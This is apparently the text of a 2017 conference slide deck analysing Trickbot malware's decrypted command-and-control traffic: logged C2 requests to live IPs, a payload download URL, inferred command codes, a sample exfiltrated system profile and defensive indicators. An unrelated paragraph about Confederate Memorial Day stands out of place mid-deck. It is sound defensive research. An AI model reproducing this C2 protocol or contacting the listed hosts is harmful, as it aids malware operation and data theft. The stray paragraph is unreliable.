Turning Trickbot: Decoding an encrypted command-and-control channel

Andrew Brandt
Director of Threat Research

@threatresearch #vb2017
Agenda

1. The tools
2. Trickbot’s historical antecedents
3. What’s in the traffic
4. Decoding the payloads
5. Cross-referencing network reputation
6. Where do we go from here?
Data collection in the lab

- Security Analytics
  - Full packet capture
  - Data persistence for months to years

- SSL Visibility
  - Acts as an intermediate certificate authority
    - SSL cert resigning
    - Output as unencrypted packets to SA’s capture interface

- Webpulse/GIN
  - Network reputation lookups
  - All URIs on testbeds submitted to cloud service
  - Relationship maps
Dyre then, Trickbot now
So...much...honey
<table>
<thead>
<tr>
<th>Malware version</th>
<th>Machine name</th>
<th>OS version</th>
<th>Unique identifier string</th>
<th>Command</th>
<th>Public IP address</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET /2807uk2/\x_e\x_W512600.C</td>
<td>HTTP/1.1 200 OK</td>
<td>Server: Stalin</td>
<td>Content-Length: 400</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
When I first saw Trickbot’s traffic

• “Oh, look, Dyre is back again”
  (then I read the Malwarebytes blog)
  bit.ly/trickbot-blog

• They’ve done some interesting new stuff to their c2

• And they’ve integrated what used to be an ecosystem of correlated malware into one hybrid

• This is going to be bad

THIS IS WHY WE CAN'T HAVE NICE THINGS
<table>
<thead>
<tr>
<th>Time</th>
<th>Source(s)</th>
<th>Type</th>
<th>Method</th>
</tr>
</thead>
<tbody>
<tr>
<td>12:24:36</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/5/spk/</td>
<td></td>
</tr>
<tr>
<td>12:24:37</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/0/Windows%208%20x64/1031/184.96.178.202/814BEE...</td>
<td>GET</td>
</tr>
<tr>
<td>12:24:37</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/0/Windows%208%20x64/1031/184.96.178.202/814BEE...</td>
<td>GET</td>
</tr>
<tr>
<td>12:25:04</td>
<td>194.87.99.16:447/kas20</td>
<td>FE168/5/systeminfo64/</td>
<td>GET</td>
</tr>
<tr>
<td>12:25:06</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/10/62/AWDJSCEIRYOXWCMB/1/</td>
<td>GET</td>
</tr>
<tr>
<td>12:25:06</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/63/systeminfo/s Tart( null)/</td>
<td>GET</td>
</tr>
<tr>
<td>12:25:08</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/10/62/GLZFROIDREY/1/</td>
<td>GET</td>
</tr>
<tr>
<td>12:25:08</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/63/systeminfo /GetSystemInfo/c3VjY2Vzczw==/systeminfo/</td>
<td>GET</td>
</tr>
<tr>
<td>12:25:08</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/63/systeminfo /GetSystemInfo/c3VjY2Vzczw==/systeminfo/</td>
<td>GET</td>
</tr>
<tr>
<td>12:25:31</td>
<td>194.87.99.16:447/kas20</td>
<td>FE168/5/injectDII64/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:08</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/5/dinj/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:09</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/5/sinj/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:10</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/5/dpost/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:11</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/10/62/CPHJZOHQPU/1/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:11</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/63/injectDII /sTart/U3VjY2Vzczw===/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:11</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/14/user/Admin/0/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:11</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/14/NAT%20status/client%20is%20behind%20NAT/0/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:12</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/25/M2zvSeNWXZ3S2I8X18HNKwd/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:12</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/25/H8Lmxu6wcpnaMWUqVZgJJofoA0Mgm/</td>
<td>GET</td>
</tr>
<tr>
<td>12:26:12</td>
<td>91.83.88.51:449/kas20</td>
<td>E168/25/99boh1kKt191mpZlb7Yywhr1lugPjhl/</td>
<td>GET</td>
</tr>
</tbody>
</table>
Typical sequence of commands issued

```
OUT: GET /5/spk/  | IN: 224 bytes binary data
OUT: GET /0/(Long OS name)/(version)/(public IP address)/(64 hex characters)/(base64 string) | IN: 585 bytes
OUT: GET /5/systeminfo64/
OUT: POST /63/systeminfo/GetSystemInfo/c3VjY2Vzczw=/systeminfo/ ("success") /1/
OUT: GET /5/dinj/ (-4KB)
OUT: GET /63/injectDll/start/U3VjY2Vzczw==/ ("Success") /1/
OUT: GET /14/user/(username)/0/ /1/
OUT: GET /14/NAT%20status/client%20is%20behind%20NAT/0/ /1/
OUT: GET /23/100061/ (not found) 3x /1/
OUT: GET /14/DNSBL/not%20listed/0/ /1/
OUT: GET /5/dinj/
OUT: GET /5/sinj/
OUT: GET /5/dpost/
OUT: GET /5/outlookDll64/
OUT: GET /10/62/972991/1/
OUT: GET /14/outlookDll/start%20Unable%20to%20load%20module%20from%20server/0/
OUT: GET /5/importDll64/
OUT: GET /10/62/973015/1/
OUT: GET /14/importDll/control%20Unable%20to%20load%20module%20from%20server/0/
OUT: GET /5/dinj/
OUT: GET /5/sinj/
OUT: GET /5/mailsearcher64/
OUT: GET /5/mailconf/
OUT: GET /10/62/973073/1/
OUT: GET /63/mailsearcher/start/c3VjY2Vzczw==/ ("success")
OUT: GET /send/ (multiple, sequential)
OUT: GET /64/wormDll/InfectMachine/infect/
```
Some abstractions/inferences

• /1/ is the default “OK” response
• Communication is always TLS but not always 443/tcp
  – (could be 447, 449, or anything else, really)
• You cannot rely on HTTP server response codes being honest or accurate
  – “404” may not actually mean “not found”
• Mostly GET requests for C2
  – POST for some, but not all, data exfil
• Module feedback in the form of GETs, in the URI
  – Comments/feedback in (competent) English
• For each running Trickbot component there is a corresponding instance of svchost.exe
Notable/observable endpoint behaviour

• Checks public IP via various free websites
  – Not using STUN protocol as Dyre did (subject to change at any time)

• Checks whether the public-facing IP address is on a DNS Blacklist or blackhole
  – “404” may not actually mean “not found”

• Payloads stored in %userprofile%\AppData\Roaming\winapp\...

• Mail credential scraping from Outlook (via outlookdll/outlookdll64)

• Mailsearcher component scrapes entire disk for email addresses
  – Dyre did this using the Kegotip malware payload, now defunct

• Attempts ETERNALBLUE exploit to spread laterally
  – May target large numbers of IP addresses over SMB and is VERY noisy and easy to detect

• MailClient.exe payload sends new attacks to victims
Distinctive persistence method

- Uses Scheduled Tasks to re-run the main binary every few minutes
Breaking down the c2 traffic
Abstracted Trickbot command structure

- GET requests
  - Always uses numeric IP address for C2, possibly abnormal SSL port #
    - IPs of C2 servers delivered in encoded C2 payload
- group_tag
- Machine name & version of Windows (uses the “internal” NT version code)
- client_id
- Command
  - May be followed by a subcommand or function call, and/or feedback
Inferred command meanings

- /0/ = initial contact
- /5/ = download this
- /14/ = profiling information or important feedback (such as if a component fails)
- /25/ = periodic checkin (T.B. phone home)
- /63/ = issue command to component (x)
- /64/ = issue command to ETERNALBLUE component (wormdll)
- /send/ = used by mailsearcher component to POST exfil email addresses

To be determined:
- /10/
- /23/
systeminfo POST data

• Basic information about the infected PC
  – OS CPU, RAM (full names)
  – List of user accounts and groups
• All installed applications
• All installed services
• ALL IN PLAINTEXT

--------Boundary01A63A58
Content-Disposition: form-data; name="noname"

<systeminfo>
  <general>
    <os>Microsoft Windows 8 Pro (null) 64-bit</os>
    <cpu>Intel(R) Core(TM) i7-3770S CPU @ 3.10GHz</cpu>
    <ram>3.99 GB</ram>
  </general>
  <users>
    <user>Admin</user>
    <user>Administrator</user>
    <user>Guest</user>
    <user>HomeGroupUser$</user>
  </users>
  <installed>
    <program>AddressBook</program>
    <program>Connection Manager</program>
    <program>DirectDrawEx</program>
    <program>DXM_Runtime</program>
    <program>Fontcore</program>
    <program>IE40</program>
    <program>IE4Data</program>
    <program>IE5BAKEX</program>
    <program>IEData</program>
    <program>MobileOptionPack</program>
    <program>MPlayer2</program>
    <program>SchedulingAgent</program>
  </installed>
</systeminfo>
Bot configuration data

- Decoded using: bit.ly/trickbot-decode

- /dijn
  - List of targeted institutions
  - Destination for exfil
  - Filters/masks for data

Also, an interesting blog about this phenomenon:
  bit.ly/trickbot-injection
Bot configuration data

• Decoded using: bit.ly/trickbot-decode

• /sinj
  – List of targeted institutions
  – Destination for exfil
  – What is <nh> used for?
Bot configuration data

- `/dpost` and `/mailconf`
  - `<handler>` tag wraps URL
  - Possible destination for exfil
Command to download a payload

<table>
<thead>
<tr>
<th>Audio</th>
<th>Email</th>
<th>EXIF</th>
<th>File Info</th>
<th>HTTP Headers</th>
<th>Hex</th>
<th>Web Page</th>
<th>Image</th>
<th>jsunpack-n</th>
<th>Strings</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

/25/mac1/VICTIM_W617601.350D754E0A94FD36D4B4C899E66D56BE/wand3keuQtuWHge9uYo9/
http://217.182.226.177/397.png
1234567890
Command to activate a component which in turn downloads something
Threat intel cross-referencing with Billiard Room
How does Billiard Room work?

• Takes input in the form of:
  – File hashes
  – IP addresses
  – Domain names
  – WHOIS record email addresses

• Relationship map
  – Where’s that domain been hosted/where does the DNS resolve to?
  – Where did this file originate and to what address has it been observed communicating?
  – Who owns these domains and what other domains does that account own?
  – Data sources: Blue Coat Webpulse, various Symantec DBs, and some third parties
/dpost IP relationship map
Confederate Memorial Day is a state holiday in Alabama, Florida, and Georgia on the fourth Monday in April. In Mississippi it is observed on the last Monday in April. In South Carolina and North Carolina it falls on May 10. Confederate Memorial Day is known as Confederate Heroes Day in Texas.

Confederate Memorial Day in the United States - Time and Date
https://www.timeanddate.com/holidays/us/confederate-memorial-day
Almost too many rabbit holes to follow
Network IoCs predictably employed by Trickbot

• Invalid SSL certificates
  – Usually an alphabet salad of self-signed garbage data

• TLS to IPv4 addresses, not domains; may or may not use 443/tcp

• Requests to services that expose public IP addresses

• Executable payloads usually have .png extension; delivery may not be over HTTPS

If you’re MITMing the traffic for inspection:

• Regular GETs for /dinj, /sinj, and /dpot (about every 15 minutes)

• Consistent User-Agent string
  – Chrome 57 on Windows 10/64, regardless of the actual OS/browser of the device
  – Some payload components may use other U-As

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Thank you!

Email me if you’d like:
• Decrypted PCAPs
• Samples
• Configs

Andrew Brandt
@threatresearch

Copyright © 2015 Symantec Corporation. All rights reserved. Symantec and the Symantec Logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners.

This document is provided for informational purposes only and is not intended as advertising. All warranties relating to the information in this document, either express or implied, are disclaimed to the maximum extent allowed by law. The information in this document is subject to change without notice.

Special thanks:
Waylon Grange
@professor__plum

@hasherazade
Jérôme Segura
Felix Weyne
Julia Karpin